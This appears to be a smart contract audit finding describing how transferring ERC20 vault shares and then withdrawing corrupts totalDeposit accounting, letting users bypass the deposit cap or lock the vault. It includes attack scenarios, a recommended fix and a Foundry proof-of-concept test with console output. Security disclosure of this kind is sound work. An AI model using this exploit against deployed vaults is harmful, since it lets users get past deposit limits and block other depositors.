Transferring ERC20 Vault tokens to another address and then withdrawing from the vault breaks `totalDeposit` accounting which is tied to deposit addresses
Vault inherits from the ERC20, so it has transfer functions to transfer vault shares. However, `totalDeposit` accounting is tied to addresses of users who deposited with the assumption that the same user will withdraw those shares. This means that any vault tokens transfer and then withdrawal from either user breaks the accounting of `totalDeposit`, allowing to either bypass the vault's max deposit limitation, or limit the vault from new deposits, by making it revert for exceeding the vault deposit limit even if the amount deposited is very small.\\n`Vault` inherits from ERC20:\\n```\\ncontract Vault is IVault, ERC20, EpochControls, AccessControl, Pausable {\\n```\\n\\nwhich has public `transfer` and `transferFrom` functions to `transfer` tokens to the other users, which any user can call:\\n```\\n    function transfer(address to, uint256 amount) public virtual override returns (bool) {\\n        address owner = _msgSender();\\n        _transfer(owner, to, amount);\\n        return true;\\n    }\\n```\\n\\nIn order to limit the deposits to vault limit, vault has `maxDeposit` parameter set by admin. It is used to limit the deposits above this amount, reverting deposit transactions if exceeded:\\n```\\n    // Avoids underflows when the maxDeposit is setted below than the totalDeposit\\n    if (_state.liquidity.totalDeposit > maxDeposit) {\\n        revert ExceedsMaxDeposit();\\n    }\\n\\n    if (amount > maxDeposit - _state.liquidity.totalDeposit) {\\n        revert ExceedsMaxDeposit();\\n    }\\n```\\n\\nIn order to correctly calculate the current vault deposits (_state.liquidity.totalDeposit), the vault uses the following:\\nVault tracks cumulative deposit for each user (depositReceipt.cumulativeAmount)\\nWhen user deposits, cumulative deposit and vault's `totalDeposit` increase by the amount of asset deposited\\nWhen user initiates withdrawal, both user's cumulative amount and `totalDeposit` are reduced by the percentage of cumulative amount, which is equal to perecentage of shares being withdrawn vs all shares user has.\\nThis process is necessary, because the share price changes between deposit and withdrawal, so it tracks only actual deposits, not amounts earned or lost due to vault's profit and loss.\\nAs can easily be seen, this withdrawal process assumes that users can't transfer their vault shares, because otherwise the withdrawal from the user who never deposited but got shares will not reduce `totalDeposit`, and user who transferred the shares away and then withdraws all remaining shares will reduce `totalDeposit` by a large amount, while the amount withdrawn is actually much smaller.\\nHowever, since `Vault` is a normal `ERC20` token, users can freely transfer vault shares to each other, breaking this assumption. This leads to 2 scenarios:\\nIt's easily possible to bypass vault deposit cap: 1.1. Alice deposits up to max deposit cap (say, 1M USDC) 1.2. Alice transfers all shares except 1 wei to Bob 1.3. Alice withdraws 1 wei share. This reduces `totalDeposit` by full Alice deposited amount (1M USDC), but only 1 wei share is withdrawn, basically 0 assets withdrawn. 1.4. Alice deposits 1M USDC again (now the total deposited into the vault is 2M, already breaking the cap of 1M).\\nIt's easily possible to lock the vault from further deposits even though the vault might have small amount (or even 0) assets deposited. 2.1. Alice deposits up to max deposit cap (say, 1M USDC) 2.2. Alice transfers all shares except 1 wei to Bob 2.3. Bob withdraws all shares. Since Bob didn't deposit previously, this doesn't reduce `totalDeposit` at all, but withdraws all 1M USDC to Bob. At this point `totalDeposit` = 1M USDC, but vault has 0 assets in it and no further deposits are accepted due to `maxDeposit` limit.
Either disallow transferring of vault shares or track vault assets instead of deposits. Alternatively, re-design the withdrawal system (for example, throw out cumulative deposit calculation and simply calculate total assets and total shares and when withdrawing - reduce `totalDeposit` by the sharesWithdrawn / totalShares * totalDeposit)
Important security measure of vault max deposit limit can be bypassed, potentially losing funds for the users when the admin doesn't want to accept large amounts for various reasons (like testing something).\\nIt's possible to lock vault from deposits by inflating the `totalDeposit` without vault having actual assets, rendering the operations useless due to lack of liquidity and lack of ability to deposit. Even if `maxDeposit` is increased, `totalDeposit` can be inflated again, breaking protocol core functioning.\\nProof Of Concept\\nCopy to attack.t.sol:\\n```\\n// SPDX-License-Identifier: UNLICENSED\\npragma solidity ^0.8.15;\\n\\nimport {Test} from "forge-std/Test.sol";\\nimport {console} from "forge-std/console.sol";\\nimport {UD60x18, ud, convert} from "@prb/math/UD60x18.sol";\\n\\nimport {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\nimport {IPositionManager} from "@project/interfaces/IPositionManager.sol";\\nimport {Epoch} from "@project/lib/EpochController.sol";\\nimport {AmountsMath} from "@project/lib/AmountsMath.sol";\\nimport {EpochFrequency} from "@project/lib/EpochFrequency.sol";\\nimport {OptionStrategy} from "@project/lib/OptionStrategy.sol";\\nimport {AddressProvider} from "@project/AddressProvider.sol";\\nimport {MarketOracle} from "@project/MarketOracle.sol";\\nimport {FeeManager} from "@project/FeeManager.sol";\\nimport {Vault} from "@project/Vault.sol";\\nimport {TestnetToken} from "@project/testnet/TestnetToken.sol";\\nimport {TestnetPriceOracle} from "@project/testnet/TestnetPriceOracle.sol";\\nimport {DVPUtils} from "./utils/DVPUtils.sol";\\nimport {TokenUtils} from "./utils/TokenUtils.sol";\\nimport {Utils} from "./utils/Utils.sol";\\nimport {VaultUtils} from "./utils/VaultUtils.sol";\\nimport {MockedIG} from "./mock/MockedIG.sol";\\nimport {MockedRegistry} from "./mock/MockedRegistry.sol";\\nimport {MockedVault} from "./mock/MockedVault.sol";\\nimport {TestnetSwapAdapter} from "@project/testnet/TestnetSwapAdapter.sol";\\nimport {PositionManager} from "@project/periphery/PositionManager.sol";\\n\\n\\ncontract IGVaultTest is Test {\\n    using AmountsMath for uint256;\\n\\n    address admin = address(0x1);\\n\\n    // User of Vault\\n    address alice = address(0x2);\\n    address bob = address(0x3);\\n\\n    //User of DVP\\n    address charlie = address(0x4);\\n    address david = address(0x5);\\n\\n    AddressProvider ap;\\n    TestnetToken baseToken;\\n    TestnetToken sideToken;\\n    FeeManager feeManager;\\n\\n    MockedRegistry registry;\\n\\n    MockedVault vault;\\n    MockedIG ig;\\n    TestnetPriceOracle priceOracle;\\n    TestnetSwapAdapter exchange;\\n    uint _strike;\\n\\n    function setUp() public {\\n        vm.warp(EpochFrequency.REF_TS);\\n        //ToDo: Replace with Factory\\n        vm.startPrank(admin);\\n        ap = new AddressProvider(0);\\n        registry = new MockedRegistry();\\n        ap.grantRole(ap.ROLE_ADMIN(), admin);\\n        registry.grantRole(registry.ROLE_ADMIN(), admin);\\n        ap.setRegistry(address(registry));\\n\\n        vm.stopPrank();\\n\\n        vault = MockedVault(VaultUtils.createVault(EpochFrequency.DAILY, ap, admin, vm));\\n        priceOracle = TestnetPriceOracle(ap.priceOracle());\\n\\n        baseToken = TestnetToken(vault.baseToken());\\n        sideToken = TestnetToken(vault.sideToken());\\n\\n        vm.startPrank(admin);\\n       \\n        ig = new MockedIG(address(vault), address(ap));\\n        ig.grantRole(ig.ROLE_ADMIN(), admin);\\n        ig.grantRole(ig.ROLE_EPOCH_ROLLER(), admin);\\n        vault.grantRole(vault.ROLE_ADMIN(), admin);\\n        vm.stopPrank();\\n        ig.setOptionPrice(1e3);\\n        ig.setPayoffPerc(0.1e18); // 10 % -> position paying 1.1\\n        ig.useRealDeltaHedge();\\n        ig.useRealPercentage();\\n        ig.useRealPremium();\\n\\n        DVPUtils.disableOracleDelayForIG(ap, ig, admin, vm);\\n\\n        vm.prank(admin);\\n        registry.registerDVP(address(ig));\\n        vm.prank(admin);\\n        MockedVault(vault).setAllowedDVP(address(ig));\\n        feeManager = FeeManager(ap.feeManager());\\n\\n        exchange = TestnetSwapAdapter(ap.exchangeAdapter());\\n    }\\n\\n    function testVaultDepositLimitBypass() public {\\n        _strike = 1e18;\\n        VaultUtils.addVaultDeposit(alice, 1e18, admin, address(vault), vm);\\n        VaultUtils.addVaultDeposit(bob, 1e18, admin, address(vault), vm);\\n\\n        Utils.skipDay(true, vm);\\n\\n        vm.prank(admin);\\n        ig.rollEpoch();\\n\\n        VaultUtils.logState(vault);\\n        (,,,,uint totalDeposit,,,,) = vault.vaultState();\\n        console.log("total deposits", totalDeposit);\\n\\n        vm.startPrank(alice);\\n        vault.redeem(1e18);\\n        vault.transfer(address(charlie), 1e18-1);\\n        vault.initiateWithdraw(1);\\n        vm.stopPrank();\\n\\n        VaultUtils.logState(vault);\\n        (,,,,totalDeposit,,,,) = vault.vaultState();\\n        console.log("total deposits", totalDeposit);\\n\\n    }\\n}\\n```\\n\\nExecution console:\\n```\\n  current epoch 1698566400\\n  baseToken balance 1000000000000000000\\n  sideToken balance 1000000000000000000\\n  dead false\\n  lockedInitially 2000000000000000000\\n  pendingDeposits 0\\n  pendingWithdrawals 0\\n  pendingPayoffs 0\\n  heldShares 0\\n  newHeldShares 0\\n  base token notional 1000000000000000000\\n  side token notional 1000000000000000000\\n  ----------------------------------------\\n  total deposits 2000000000000000000\\n  current epoch 1698566400\\n  baseToken balance 1000000000000000000\\n  sideToken balance 1000000000000000000\\n  dead false\\n  lockedInitially 2000000000000000000\\n  pendingDeposits 0\\n  pendingWithdrawals 0\\n  pendingPayoffs 0\\n  heldShares 0\\n  newHeldShares 1\\n  base token notional 1000000000000000000\\n  side token notional 1000000000000000000\\n  ----------------------------------------\\n  total deposits 1000000000000000000\\n```\\n\\nNotice:\\nDemonstrates vault deposit limit bypass\\nVault has total assets of 2, but the total deposits is 1, allowing further deposits.
```\\ncontract Vault is IVault, ERC20, EpochControls, AccessControl, Pausable {\\n```\\n